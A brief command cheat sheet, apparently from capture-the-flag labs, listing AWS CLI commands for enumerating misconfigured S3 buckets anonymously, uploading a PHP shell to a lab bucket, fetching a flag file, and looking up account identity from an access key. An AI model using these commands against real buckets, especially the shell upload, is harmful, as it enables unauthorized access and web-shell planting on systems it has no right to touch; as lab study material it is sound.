List contents of a bucket
aws s3 ls s3://images.bestfestivalcompany.com --no-sign-request
aws --endpoint=http://s3.thetoppers.htb s3 ls
List under specified bucket
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
Upload PHP shell to S3 bucket
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
Download via curl
aws s3 cp --no-sign-request
aws s3 cp s3://images.bestfestivalcompany.com/flag.txt . --no-sign-request
Get AWS account ID
aws sts get-access-key-info --access-key-id AKIAQI52OJVCPZXFYAOI --profile lab
Get AWS username
aws sts get-caller-identity --profile lab